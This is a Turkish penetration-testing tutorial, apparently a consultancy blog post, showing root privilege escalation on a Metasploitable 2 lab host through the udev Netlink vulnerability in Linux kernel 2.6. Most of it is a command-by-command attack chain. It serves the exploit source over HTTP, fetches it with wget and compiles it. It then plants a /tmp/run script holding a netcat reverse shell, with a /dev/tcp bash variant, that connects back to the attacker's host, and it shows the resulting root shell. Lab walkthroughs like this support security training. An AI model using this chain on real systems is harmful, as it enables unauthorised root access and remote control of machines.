Linux Kernel 2.6 İşletim Sistemindeki Hak Yükseltme Zafiyetinin İstismar Edilerek Komut Satırının Elde Edilmesi

0
490
views
Sızma testleri sırasında standart haklar ile erişim sağlanabilmiş bir bilgisayarda, hak yükseltilerek yönetici hakları elde edilmeye çalışılır. Hak yükseltmek için kullanılan yöntemlerden birisi de işletim sistemindeki zafiyetlerin istismar edilmesidir. Bu yazıda, Linux Kernel 2.6 işletim sistemine sahip Metasploitable 2 üzerinde çalışan udev servisindeki bir zafiyet istismar edilerek standart kullanıcı haklarından “root” kullanıcısı hakkı ile komut satırı / kabuk elde edilecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

Mevcut ortamdaki saldırgana ait olan Kali bilgisayarın IP adresi 100.100.200.4; hedef olarak kullanılan Metasploitable 2 sisteminin IP adresi ise 100.100.200.7’dir.

Çekirdek sürümü 2.6.* olan Linux sunucusuna standart yetkilerle elde edilen bağlantıda standart bir kullanıcı (www-data) haklarına sahip olunduğu görülmektedir.

uname -a
id

escalating-privileges-on-linux-kernel-2.6-by-exploiting-udev-service-vulnerability-01

 

Linux Kernel 2.6’da kritik bir zafiyet bulunmaktadır. Bu zafiyeti istismar edecek kod exploit-db’den indirilerek hedef sisteme aktarılacak ve çalıştırılacaktır.

http://www.exploit-db.com/exploits/8572/

escalating-privileges-on-linux-kernel-2.6-by-exploiting-udev-service-vulnerability-02

 

İndirilen dosya (8572.c) hedef sisteme doğrudan indirilebileceği gibi Kali üzerindeki bir paylaşım veya web sunucusu üzerinden de aktarılabilir. Bu yazıda Kali’de HTTP servisi üzerinden aktarım tercih edilmiştir. Bu amaçla apache servisi başlatılır ve indirilen dosya web sayfasının kök dizinine adı “hakyukseltme.c” olacak şekilde kopyalanmıştır.

service apache2 start
service apache2 status
cp /root/Desktop/8572.c /var/www/html/hakyukseltme.c
ls -la /var/www/html/

escalating-privileges-on-linux-kernel-2.6-by-exploiting-udev-service-vulnerability-03

 

Kali üzerindeki dosya, Metasploitable’a indirilmeye başlanır. İndirilen dosyaya çalıştırılma izni de verilir.

wget http://100.100.200.4/hakyukseltme.c
ls -la hak*
chmod 744 hakyukseltme.c
ls -la hak*

escalating-privileges-on-linux-kernel-2.6-by-exploiting-udev-service-vulnerability-04

 

1.4.1 sürümünden daha önceki “udev” servisi, NETKLINK mesajlarının çekirdek mi yoksa kullanıcı uzayından mı geldiğini kontrol etmediği için standart bir kullanıcı “root” gibi komut çalıştırabilmekte idi. Bu zafiyeti istismar eden kod da Netlink soketinin proses ID’sini kullanarak root gibi işlem yapmaktadır. Netlink servisinin proses ID’si “/proc/net/netlink” nesnesi içerisinden öğrenilebilmektedir. Bu proses ID değeri (genellikle) udevd prosesinin ID değerinden bir eksiktir. Mevcut ortamda Netlink PID değeri 2768 olduğu görülmektedir. Bu proses ID, istismar edilecek kod parçası (hakyukseltme.c) delendikten sonra oluşan dosyaya parametre olarak verilecektir.

ps aux | grep udev
cat /proc/net/netlink

escalating-privileges-on-linux-kernel-2.6-by-exploiting-udev-service-vulnerability-05

 

Metasploitable üzerindeki C dosyası gcc ile derlenir.

gcc hakyukseltme.c -o hakyukseltme_derlenmis
ls -la hak*

escalating-privileges-on-linux-kernel-2.6-by-exploiting-udev-service-vulnerability-06

 

Derlenmiş dosya /tmp/run diye bir dosya aramakta ve içeriğini “root” yetkisi ile çalıştırmaktadır. /tmp/run dosyasının içeriğine çalıştırılması istenilen herhangi bir betik/komutyazılabilir. Bu yazıda, 100.100.200.7 IP adresli Metasploitable 2’den, 100.100.200.4 IP adresli Kali’ye doğru komut satırı bağlantısı elde edilmesi için Netcat aracı çalıştırılacaktır. Bu amaçla aşağıdaki komutlar /tmp/run dosyasına yazılır.

echo ‘#!/bin/bash’ > /tmp/run
echo ‘/bin/netcat -e /bin/bash 100.100.200.4 13579’ >> /tmp/run
cat /tmp/run

escalating-privileges-on-linux-kernel-2.6-by-exploiting-udev-service-vulnerability-07

 

Not: Kurban işletim sisteminde “netc” aracı bulunmuyorsa ikinci satır aşağıdaki gibi değiştirilebilir.

echo ‘/bin/bash -i >& /dev/tcp/100.100.200.4/13579 0>&1’ >> /tmp/run

 

Kali bilgisayarında da gelecek olan bağlantı telebinin yakalanması için 13579 nolu port dinlenecektir.

ifconfig eth0 | grep broadcast
nc -l -v -p 13579

escalating-privileges-on-linux-kernel-2.6-by-exploiting-udev-service-vulnerability-08

 

Böylece istismar amaçlı derlenmiş dosya çalıştırılabilir.

./hakyukseltme_derlenmis 2768

escalating-privileges-on-linux-kernel-2.6-by-exploiting-udev-service-vulnerability-09

 

Kali bilgisayara “root” yetkileri ile bağlantı kurulmuştur.

id
ifconfig
hostname

escalating-privileges-on-linux-kernel-2.6-by-exploiting-udev-service-vulnerability-10

 

Not: Benzer hak yükseltme işlemi MSF udev_netlink istismar modülü ile de gerçekleştirilebilirdi.

  • MSF exploits/linux/local/udev_netlink

 

 

Kaynak:

http://linux-hacking-guide.blogspot.com.tr/2015/05/metasploitable-2-privilege-escalation.html
http://securitypadawan.blogspot.com.tr/2011/10/attacking-metasploitable-part-3.html

 

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.